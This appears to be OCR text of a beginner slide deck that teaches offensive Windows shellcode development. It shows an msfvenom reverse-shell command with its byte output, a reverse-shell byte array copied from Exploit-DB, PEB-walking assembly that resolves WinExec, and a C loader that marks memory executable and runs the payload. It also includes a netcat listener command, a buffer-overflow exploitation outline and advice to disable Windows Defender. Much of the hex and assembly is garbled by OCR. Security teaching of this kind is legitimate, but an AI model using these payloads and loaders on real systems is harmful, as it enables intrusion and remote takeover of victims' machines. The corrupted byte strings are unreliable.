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Who is this
Deep Dive for?

Specifically, for:

<& .

*s* Penetration testers
\J .

%* Security researchers

\/ . .
%°* Anyone else interested in
offensive cyber security.

This is intended for beginners.

Idon’t
think so.




Prerequisites

Cyber security or development background
Offensive/defensive security experience

A strong willingness to learn

Patience and curiosity

Windows Development Environment



Key Learning Objectives of the Session

GRANTING YOU THE
ABILITY TO CONFIDENTLY
CRAFT WINDOWS-BASED

SHELLCODE ON YOUR
OWN!

BEINGABLETO HOWYOU CAN LEVERAGE
INTUITIVELY UNDERSTAND THE KNOWLEDGE
SHELLCODE. OBTAINED FROM THIS
PRESENTATION WITHIN
YOUR OWN OFFENSIVE

SECURITY TOOLKIT.

ALLOWING YOU TO “SWIM"
IN THE VAST SEA OF
“"SHELLCODING"” FOR
ENHANCED EXPLOIT
DEVELOPMENT.

MAKING YOU MORE
CURIOUS ON LOW-LEVEL
EXPLOITATION AND
MALWARE DEVELOPMENT.



Setting up Your Windows
Development Environment

I | ¥, & - 7L

Prepping your Downloading Configuring proper Windows SDK/WDK: Getting rid of
Windows GCC/G++, NASM, and  environment variables Debugging Windows Defender
environment more (the right way)

Ready to go!

Be sure to check out the resources slide at the end of the presentation!



What is
Shellcode
and why is it
Relevant in
Offensive
Security?

Shellcode is a piece of machine code
(often very small) written in Assembly

Direct access to low-level instructions the
CPU can run directly

However, it can be interpreted and can exist
in numerous different ways

(e.g.) byte array, C/C++ array, ASM code, Baseb64-
encoded strings, etc.

A small program ran after exploiting a
software vulnerability

Usually injected into memory



Perform the following:

Execute a shell on the target system (reverse

orbind shell)
Wh at can Open a backdoor
Act as a “dropper”, calling out to a malicious
ShEI ICOde dO? C2 for commands or call out to a web server

to serve malware to the target system
Privilege Escalation

And much, much more



How Shellcode is Delivered to a
Target

Wide range of attack vectors:

Memory Corruption Bugs
Network-Based Delivery

Local Privilege Escalation (LPE)
Local File-Based Delivery
“Loaders”

Physical/External Delivery Mechanisms



Where Does Shellcode Come From?

Two primary techniques of obtaining/crafting shellcode:

1. Hackers can create their own Assembly programs, “carve out” (using objdump) the core
shellcode instructions and obtain a byte array for usage in another delivery technique

® Essentially convert machine instructions (opcodes -> byte array)
® Least convenient, most stealthy, time consuming

Generated via msfvenom, obtained from Exploit-DB, Shellstorm, GitHub, etc.

® Most convenient, least trustworthy (e.g. external third-party sources like listed above), likely security
signatures already created for that piece of shellcode

® msfvenom —payload windows/shell_reverse_tcp LHOST= localhost LPORT1337 —f —

f7\xdb\xce\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1\x1f\x31\x43\x15\x83\xeb\xfc\x03\x43\
11\xe2\x2a\xc0\xa7\xa9\xe5\xce\x4f\xb6\x56\xb2\xfc\x53\x5a\x84\x65\x2d\xbb\x29\
e9\xba\x60\xda\x2a\x6c\xfa\x70\xc3\x6f\x02\x37\x7d\xf9\xe3\x5d\xe4\xal\xb3\xfO\
bf\xd8\xd2\xb0\xf2\x5b\x91\xf7\x74\x45\xd7\x83\xbb\x1d\x45\x6b\xc4\xdd\xd1\x06\
c4\xb7\xed4\x5f\x27\x76\x2T\x92\x28\xfc\x6T\x54\x94\x14\x48\x15\xel\x53\x96\x49\
ee\xa3\x1f\x8a\x2f\x48\x13\x8c\x53\x83\x9b\x73\x59\x1c\x5e\x4b\x19\x0d\x3b\xc5\
D\ xh xO0\ X9\ ¥ X x b X6 X oo X6 xfe\ xba\ xfe\ xhJd X fa\ xfbe\ xqd

Obtained from Exploit-DB: https://www.exploit-db.com/exploits/41481

unsigned char shellcode[]=

"\x31\xco\x50\x64\x8b\x40\x30\x8b\x40\x0c\x8b\x70\x14\xad\xg96\xad\x8b\x58\x10\x8b\x4b\x3c\x01\xd9\x8b\x49\x78\x01\xd9\x8b\x71\x20\x01\xde\x31\xd 2\x42\xad\xo1\xd
8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\X8b\x71\x1c\x01\Xxd€\X8b\X14\Xx96\x01\xda\x83\xec\x20\x 54\x58\x89\x24\x24\x89\x 5e\x1Cc\Xx 31 \Xff\X
57\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x 4C\x6f\x61\x64\X54\x 53\xf\x16\x31\XC9\x51\x66\xb 9\x33\X32\Xx 51\x68\x77\x73\X32\X 5f\X 54\XfF\Xx d 0\X89\X C5\Xx31\X CO\X 52\X
66\xb9g\x75\x70\x51\x68\x74\x61\x72\x74\x68\x57\X53\x 41\X53\X 54\Xx55\xf\x16\x89\x 46\x0c\x31\xC9\Xx 51\x66\xb 9\x74\x 41\X 51\x 68\x 6f\x 63\X6b\X65\X68\X57\X 53\X 41\X 53\X 5.4\
x55\xff\x16\x89\x46\x10\x57\xbg\x65\x65\x63\x74\xc1\xeg\x08\x51\x68\x63\x 6f\x6e\x6\X54\X 55\XfF\X16\X89\X 46\X14\X57\X68\Xx72\X65\x63\X76\X54\Xx 55\ f\x16\x89\x 4,6\x28
\x31\xc9\x66\x81\xec\xf4\x01\x54\x66\xbg\x02\x02\x51\xff\x56\x0c\x 50\x50\x 50\xb0\x06\x50\Xb0o\x01\x50\Xx 40\x 50\xfF\X 56\x10\Xg7\X6a\x01\X 5a\XC1\xE2\X18\xb 2\Xx7f\X52\X6
6\x68\x11\x5c\x66\x6a\x02\x89\xe2\x6a\x10\x52\x57\xff\x56\x14\x50\x66\xb8\xb6\x03\x50\x 54\x5d\x29\xC5\x 55\x 57\xff\x 56\x18\x31\xd 2\xC6\Xx 44 \x05\xff\x3\x88\x 55\x60\x
c6\x45\xfA\x5b\x4d\x66\xc7\x45\x24 \xfF\Xx16\x66\xC7\x45\x23\x89\x06\x66\xC7\x45\x6e\xff\x16\X66\xC7\x45\X78\X89\x06\x66\x b 8\x73\x 41\x8b\x 4€\x2c\xfe\x ca\xff\xd 5\x88\x
11\xff\x26\x50\xff\x56\x04";



https://www.exploit-db.com/exploits/41481
https://www.exploit-db.com/exploits/41481
https://www.exploit-db.com/exploits/41481

Windows
Different calling convention, no usage of syscall
numbers or direct syscalls
* Relies on WinAPI (e.g. WinExec(), CreateProcessA(),
LoadLibrary(), and GetProcAddress()
API functions must be resolved at runtime
(e.g.) kernel32.dllfuser32.dll
Shellcode must locate DLLs in memory via

Linux
* Direct syscall interface

How does Windows Shellcode Differ From
Linux Shellcode?

* Shellcode will often rely on 0x80
or syscall instructions to make

syscalls directly

* Shellcode is usually smaller in size
compared to Windows shellcode

Windows Shellcode: Dynamically Resolving Addresses at Runtime

PEB/TEB

Parse the associated export table

Resolve function addresses dynamically
This process can be seen within the first few
instructions of the shellcode

Shellcode is naturally larger

getkernel32:

XOr ecx, ecx ; zeroing register ECX

mul ecx ; zeroing register EAXEDX

mov eax, [fs:ecx + ox30] ; PEB loaded ineax

mov eax, [eax+ oxoc] ; LDR loaded in eax

mov esi, [eax+ ox14] ; InMemoryOrderModuleList loaded in esi

lodsd ; program.exe address loaded in eax (15t module)

xchg esi, eax

lodsd ; ntdll.dll address loaded (2nd module)

mov ebx, [eax+ ox10] ; kernel32.dlladdress loaded in ebx (3rd module)

; EBX =base of kemel32.dll address

getAddressofName:
mov edx, [ebx + ox3c]  ; load new addressin ebx
add edx, ebx
mov edx, [edx + 0x78]  ; load data directory
add edx, ebx
mov esi, [edx + ox20] ; load "address of name"
add esi, ebx

; (...) Malicious code still needs to be implemented

VS.

Linux Shellcode: Complete
/bin/sh Implementation
(nothing else required)

section .text
global _start
_start:

push 0x0b

pop eax

push 0x00687 32f
push 0x6e 696 22f
mov ebx, esp

int 0x80




What are Processes and Threads

Processes Threads

® A progra m/application that IS running - A set of instructions that can be executed independently within a

T . : process.
within a Windows Operating System |
(O S) - Each thread has its own Thread Local Storage (TLS)

-The TLS lies within the TEB.

® Can be started by a user or by the OS itself Out of e
- Out of scope for this ta

® (CreateProcess() -> CreateProcessinternal() -> NtCreateUserProcess()
(lives inside of ntdll.dll)

Process Creation
Creating Process SvcHost.Exe
Kernel32.DII Advapi32.dll SecLogon.DIl
CreateProcess I ICrea(eProcessAsUser l I CreateProcessWithLogonW :SIrCrea(eProcessWnthLogon.
l CreateProcessWithTokenW
i i Kernel32.DII
1 reaterrocessinterna h
l CreateProcessAsUser ]
NtDIL.DII
NtDILDII

! NtCreateUserProcess : Executive ! NtCreateUserProcess



TEBs point to the PEB.
Holds information of every individual process
running in userland. It contains binary info,
heap info, and more.

Responsible for holding information about the
thread.

ri

You
/
K rocess
\ Threac
Code

TEB

The Process Environment Block (PEB) &
Thread Environment Block (TEB)

Both are internal Windows data structures that are used by the OS
and leveraged by malware/exploit developers.

® Understanding both is considered mandatory when it comes
to “shellcoding” in Windows

® Unlike on Linux, we cannot rely on direct syscalls, but rather
rely on leveraging the kernel APl or WinAPI to call various
functions to make our shellcode perform malicious actions

Shellcode on Windows works by navigating through loaded
modules (DLLs) by:

1. Reading PEB->LDR ->InMemoryOrderModuleList
2. lteratesthrough the linked list to find kernel32.dll

3.  Parsesthe export table to find various WinAPI functions
such as GetProcAddress(), LoadLibraryA(), etc.

Why?

WinAPI calls must be found dynamically within memory from
DLLs like kernel32.dll



Explanation and what role do they play?
® Anextremely interesting topic

® Windows internals are comprised of a variety of
undocumented structures to protect Windows and its
users

® Makes life “harder” on reverse engineers, malware
authors, security researchers, and exploit developers

® We can see indication of this behavior as some values
in Windows data structures are “reserved”

®  Windows documentation: "Reserved for internal use by the

. V/4
operating system

Workarounds?

® Using “"undocumentation” sites, we can utilize other
reverse engineered data structures to perform a variety of
malicious activities

Usage of debugging tools to track what types of data types
and sizes are used to grant additional context on the
element’s purpose

Battling Undocumented Structures

For example, let’s take the _PEB Structure:
typedef struct _PEB {

BYTE
BYTE
BYTE
PVOID

PPEB_LDR_DATA

Reservedi[2]; «—nw—
BeingDebugged;
Reserved2[1]; «—n—

Reserved3[2]; —
Ldr;

PRTL_USER_PROCESS_PARAMETERS ProcessParameters;

PVOID
PVOID
PVOID
ULONG
PVOID
ULONG
ULONG
PVOID
BYTE

Reserved4[3]; &—n-—__
AtIThunkSListPtr;

Reserveds; «——1
Reserved6; «——

Reservedy; _

Reserveds;
AtlThunkSListPtr32;

Reservedo[45];, ¢——0
Reserved10[96];, —

PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;

BYTE
PVOID
ULONG

} PEB, *PPEB;

Reserved11[128]; «——
Reserved12[1]; +——_

Sessionld;



Three primary parts

Anatomy of Windows Shellcode

1. Assembly Code

./shell.asm:

Array

; Begin dynamic WinAPI function Resolving Process

getkernel32:
XOr ecx, ecx ; zeroing register ECX
mul ecx ; zeroing register EAX EDX

mov eakx, [fs:ecx + 0x30]
mov eax, [eax + 0x0c]
mov esi, [eax + 0x14]

lodsd

xchg esi, eax

lodsd

mov ebx, [eax + 0x10]
: EBX = base of kernel32.dll address

getAddressofName:
mov edx, [ebx + 0x3c]
add edx, ebx
mov edx, [edx + 0x78]
add edx, ebx
mov esi, [edx + 0x20]
add esi, ebx

; End dynamic WinAPI function Resolving Process
; (...) Malicious code still needs to be implemented

: PEB loaded in eax
: LDR loaded in eax
; InMemoryOrderModuleList loaded in esi
; program.exe address loaded in eax (1st module)

; ntdll.dll address loaded (2nd module)
; kernel32.dll address loaded in ebx (3rd module)

2. Converted into Byte

® Performsthe “bad stuﬁ:”f

./badStuffByteArray.txt:

"\xf7\xe 6\x50\x4 8\xb Ax2 Ax6 2\x6 9\x6 €\x7 3\x6
8\X00\x57\x4 8\x89\xe 7\xb 0\x3b\x0f\x05(....)"

3. Executing Shellcode in
Memory via Loader

® The act of executing the shellcode in
memory

® Payloads can be encrypted or encoded
Jloader.cpp: ~ to evade AV/EDR solutions

; load new address in ebx
; load data directory

: load "address of name"

Linked, Compiled, and “carved out” via objdump

objdump -d ./shell|grep -e '[0-9a-f]."|grep -v 'file'|cut -f2 -d:|cut -f1 6 -d' Itr -s
"'ltr'\t' ' '|sed 's/ $//g'|sed 's/ N\x/g'|paste -d " -s |sed 's/A/"/'|sed 's/$/"/g'

"\xf7\xe 6\x5 0\x4 8\xb Ax2Ax6 2\x6 9\x6 e\x 7 3\x6 8\x0 0\x5 7\x4 8\x8 O\xe 7\xb O\x
3b\x0fx05(...)"

int main() { l
unsigned char shellcode[] =
"\xf7\xe6\x50\x4 8\xbf\x2f\x6 2\x6 9\x6 €\x 7 3\x68\x00\x5 7\x4 8\x8 9\xe 7\xb O\x3b\x0f\x05(...)";

PVOID pBuffer = VirtualAlloc(NULL, sizeof(shellcode)+1, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
memcpy(pBuffer, shellcode, sizeof(shellcode));]

DWORD oldProtect = NULL;
VirtualProtect(pBuffer, sizeof(shellcode), PAGE _EXECUTE_READWRITE, &oldProtect);

HANDLE hThread = CreateThread(NULL, O, pBuffer, NULL, O, NULL);
waitForSingleObject(hThread,INFINITE);
CloseHandle(hThread);

return O;




Dynamic WIinAPI Function Address Resolving:
Roles of PEB & GetProcAddress()

High-Level Breakdown

1. Shellcode
@9:000> dt _teb
ntdll! TEB
+0x000 NtTib : NT_TIB
. . +0x01c EnvironmentPointer : Ptr32 Void
2. Locate kerne|32.d|| In Mmemory via PEB +0x620 ClientId - CLIENT ID
+0x028 ActiveRpcHandle : Ptr32 Void
{/ +9x02c ThreadLocalStoragePointer : Ptr32 Void
(:j—’————_———— *—i__—-___~§::7 +0x038 ProcessEnvironmentBlock : Ptr32 _PEB
3. Use GetProcAddress() to resolve WinExec() 10x034 LastErrorValue - Uint4B

+0x038 CountOfOwnedCriticalSections : Uint4B

4. We can now Call WinExec(“cmd.exe")



Continued:
Dynamic WinAPI Function Address Resolving:
Roles of PEB & and GetProcAddress()

4. We can now Find any Function we Want Within kernel32.dll:

1. Find Base Address of kernel32.dll:

ecx,ecx
mov eax,[fs:0x ] ; PEB(
mov eax,[eax+0x ] ;Eax=PEB->Ldr

Block) in Eax

mov esi,[eax+@x ] ;Eax=Peb->Ldr.InMemOrderModulelList

lodsd ;Eax=second module of InMemOrderModuleList (ntdll.d1ll)

xchg eax,esi ;Eax=Esi ,Esi=Eax

lodsd ;Eax=third module of InMemOrderModulelList (kernel32.dll)

mov ebx,[eax+@x ] ;Ebx=base Address of Kernel32.dll (PVOID Dllbase)

. Finding Export Table of kernel32.dll:

mov edx,[ebx+0x ] ;(kernel32.dll base address+0x ) kernel32.d11=DOS->e_lfanew

add edx,ebx ;(DOS->e_lfanew+base address of)=PE Header

mov edx,[edx+@x ] ;(PE Header+0x )=DataDirectory->VirtualAddress

add edx,ebx ; (DataDirectory->VirtualAddress+kernel32.dll base address)

mov esi,[edx+@x ] ;(IMAGE_EXPORT _DIRECTORY+0x )=AddressOfNames

add esi,ebx ; ESI=(AddressOfNames+kernel32.dll base address)=kernel32.dll AddressOfNames

ecx,ecx

3. Finding the Address of GetProcAddress() in kernel32.dll:

mov esi,[edx+@x ] ;Esi=(IMAGE_EXPORT_DIRECTORY+0x )=AddressOfNameOrdinals
add esi,ebx ;(AddressOfNameOrdinals+base address of
kernel32.dl1l)=AddressOfNameOrdinals of kernel32.dll

mov cX,[esi+ecx* ] ;CX=Number of Function

dec ecx

mov esi,[edx+@x ] ;(IMAGE_EXPORT_DIRECTORY+@x )=AddressOfFunctions

add esi,ebx ;ESI=beginning of Address table

mov edx,[esit+ecx* ] ;EDX=Pointer(offset)

add edx,ebx ;Edx=Address of GetProcAddress

;Finding address of Winexec()
Xor ecx,ecx

push ecx

push 0x00636578

push 0x456e6957

mov ecx,esp

push ecx

push ebx

call edx

;finding address of ExitProcess()
XOor ecx,ecx

push ecx

push 0x00737365

push @x636f7250

push ©x74697845

mov ecx,esp

push ecx

push edi

xor edi,edi

mov edi,eax ;address of WinExec()
call esi

Xor esi,esi

push eax

pop esi ;address of ExitProcess()



*

J
*

/7
44

of functions.

So, in order to develop shellcode on Windows, we need to:

How do we always know where the PEB (and our functions) are?

TL;DR?This is a technique that we can ALWAYS leverage to dynamically resolve runtime addresses

Here are the steps that we need to include within our shellcode at the beginning before we can get into the malicious
side of things:

Dynamically resolve addresses by locating the PEB (this can be thought of as a "handbook" that contains pointers to functions)
Locate the PEB offset, 0xC which is a pointerto PEB_LDR_DATA (which holds modules -- DLLs)
Then, PEB + OxC -> DLLBase -> kernel32.dll entry (base for kernel32.dll)

We need one more thing, when a DLL is dynamically loaded, it is stored at the offset of DlIBase, or 0x18 -- This is the start of the

linked list, which is the offset of inMemoryOrderLinks (offset 0x8)

Lastly to get the function, utilize the following equation: DLLBase - InMemoryOrderLinks = 0x18 - 0x8 = 0x10 -- This allows us to find

the base of kernel32.dll

TR

**This offset (0xC, PEB_LDR_DATA) remains consistent throughout
each process creation process, so we can always rely on it.

Thread Information
Block

address

Process
Environment Block

address

[errooa |

PEB_LDR_DATA

address

|

Linux "shellcoding" = linear as we can directly syscall
straight from Assembly code.

LDR_DATA_TABLE_ENTRY

LDR_DATA_TABLE_ENTRY

Windows "shellcoding" = non-linear since we will need
to rely on the kernel API (WinAPI) in order to call

functions.

InMemoryOrderLinks
{+ 0x08)

yOrderLinks
{+0x08)

LDR_DATA_TABLE_ENTRY

DllBase (+0x18)

DlIBase (+0x18)

FullDliName (+0x24)

FullDliName (+0x24)

yOrderLi

l«— (+0x08)

nks  [—-—>

DllBase (+0x18)

FullDlIName (+0x24)




Perspective is Everything (C vs. ASM)

Shellcode must be written in low-level Assembly for precision, compactness, and stealth.
The C programming language offers enhanced clarity, but the more high-level you get, the more control you lose.

C Representation Assembly Representation
1. Requires dynamic resolvement of WinAPI
int main(){ functions for use (shown in prior slide)
WinExec("cmd.exe", 0); 1. “Walk” PEB
return O; 2. Parse PE headers -> Locate Export Table
} 3. Find GetProcAddress()
4. Resolve Address of WinExec
» Clear usage 5. CallWinExec(“cmd.exe”, 0); ‘
» Very easy to understand / ;
> Less control » Confusing APl usage
» Complex/Convoluted |
» More control

® Shellcode can have Multiple Interpretations



https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec

Registers to Know: Special/General-Purpose
Registers (EAX/RAX & EIP/RIP, etc.)

Special Purpose Registers

EAX/RAX EIP/RIP
Return Values Instruction Pointer
Commonly holds return values from WinAPI calls * Important to know where you are in memory since shellcode
Stores temporary calculated pointers or constants * “position-independent”

x64 vs. x86
—

e
VS. = 64 =
i

General Purpose Registers

EBX/RBX, ECX/RCX, EDX/RDX, ESI/RSI, EDI/RDI, ESP/RSP,
EBP/RBP

Stores pointers for strings or shellcode data
Arguments to APl calls dependent on stdcall or fastcall
Walk TEB/PEB to find loaded modules via InMemOrderModuleList (linked
list)
Saves original stack or frame pointer for function calls




Why MessageBoxA() iIs a Solid "Beginner” Payload

Simple API call and takes only four arguments MessageBox Example X

®  Owner window

® Message MessageBox “Popped”? == V io} Hello, world!

* Title Successful Exploitation!

® Style oK

Confirms successful code execution visually
Requires no complex setup or external communication
Avoids the overhead of spawning other processes, allocating memory, or handling strings externally

Virtually no dependencies (part of user32.dll) —almost loaded in any GUI application




Building Your First Shellcode!

Goals:

® Writing a MessageBoxA() Shellcode
in C/ASM

® Extracting and Printing as a Byte
Array

® Compiling to raw Shellcode via — il
msfvenom, nasm, or gcc + objdump | . =~ /

.. Theshellhas spoken:. .



Common Pitfalls and Other “*Gotchas”

YOU USED TO CALL
| IIN MY,SHELL PHONE

Like anything else, there are always some issues and
things to be expect along the way...




Common Pitfalls and Other “*Gotchas":
Compatibility Issues (x86/x64)

® Simply put x86 target = x86 shellcode

Why?
» Access to different registers due to a difference in calling convention
() g g
><6ll- target? Use X6l|- shellcode > between two architectures
_ » stdcall (x86)
® Ultimately, your shellcode/payload > fastcall (x64)

» Different datasizes, leading to stack and other misalignment issues

must match your target process

---------



Commont Pitfall and Other “Gotchas":
Null Bytes (\x00) and Bad Characters

Null Bytes (\x00)

» Thisis also known as the null-terminator in C-environments

» Naturally, this byte will get translated as such and it will get marked as the end of the string
» Ultimately truncating your shellcode

Bad Characters
» Lead to a disruption in shellcode for a multitude of reasons
» Interpreted in unintended ways by the target program/environment
» Corruption of your shellcode
> Filtering
» Encoding issues
> Interpreted by parsing or control characters (\n, \r, etc.)




Common Pitfalls and Other “*Gotchas”:

“NOP (no-op) Sleds”

Ll NOP || NOP |
"Think of it like a ‘landing pad’ for your CPU!” “a['NOP ][ NOP
~~ |[NoP ][ NoOP
G— A'| \><99] \x90 | \x90 | \x90 | \x90 I \x9@ | \x31 | \xc@ | \x50 | \x68 I \x2f I NOP ‘ I NOP

Interpreted as \x90 at byte-level (hex-byte)

NOP-sled Shellcode

Increased Exploit Reliability
Particularly in buffer overflows, it’s difficult to gauge where we will land in memory after our shellcode detonates.

Creates a Safe “Landing Zone" for our Shellcode
During exploitation, it is critical to overwrite the return address or instruction pointer to land on the first byte of the shellcode.
> If not, your shellcode will be truncated; leading to misinterpretation or corruption
» “Pads” memory
» “Absorbs” imprecision

Bonus Information
Sometimes (not always), there are size-constraints within our environment, and we have restricted or
insufficient space to execute our shellcode to ensure proper contiguous memory regions (aids in alignment).

NOP sleds indirectly allow us to increase the size (in bytes) of our payloads natively without impacting its logic.




Real-World Reverse Shell Demo
Application



Reve 'SE S h S | | Establish a Netcat listener on your Kali (Attacker Machine)

Dem O Command: netcat —Invp 1337
Wait for your shell!



Exploiting a Buffer
Overflow: Utilizing our
Newly Crafted Shellcode

Buffer Overflow

Vulnerability Discovery 109 14
' ' 30 el
void [NGEEENE(char *Input) { 1191 10110 1 p
char Buffer2S[2000]; 01101 o 111 11 0
strcpy(Buffer2S, Input); 0001 @ , 10 "Q° 0 )

x 1: 0 1 @1
= 1 ¢ 16
0 07
1105

Exploitation
Exceed the max limit (2000) of the buffer size for it to be 'dinto

exceeding the buffer size, leading to a buffer overflow.

Attack Controlled via Reverse Shell



Resources

Vulnserver (GitHub)

https://github.com/stephenbradshaw/vulnserver/tree/master

Permanently Disabling/Removing Windows Defender (Win10)

https://answers.microsoft.com/en-us/windows/forum/all/how-can-i-permanently-disable-or-remove-

windows/7e3ce6d 4-231f-4bee-g12c-3cco31a9bf8d
Windows Processes & How They're Created! PEB/TEB

https://hacking.swizsecurity.com/hacking methodology/malware-development/maldev-

reloaded/windows-processes-how-theyre-created

Undocumented Structures

https://hacking.swizsecurity.com/hacking_methodology/malware -development/maldev-
reloaded/undocumented-structures

Generating Shellcode w/ MSFVenom
https://hacking.swizsecurity.com/hacking_methodology/malware-development/code-and-process-

injection/generating-shellcode-w-msfvenom

Executing Shellcode in Memory

https://hacking.swizsecurity.com/hacking_methodology/malware-development/maldev-
reloaded/executing-shellcode-in-memory

https://hacking.swizsecurity.com/hacking_methodology/binary-exploitation/shellcode/arm-shellcode
(AARCH64 ARM)

Installing C, the right way...

h ://backing.swiz ri

This covers C/C++, NASM, compilers, debuggers and more installation.
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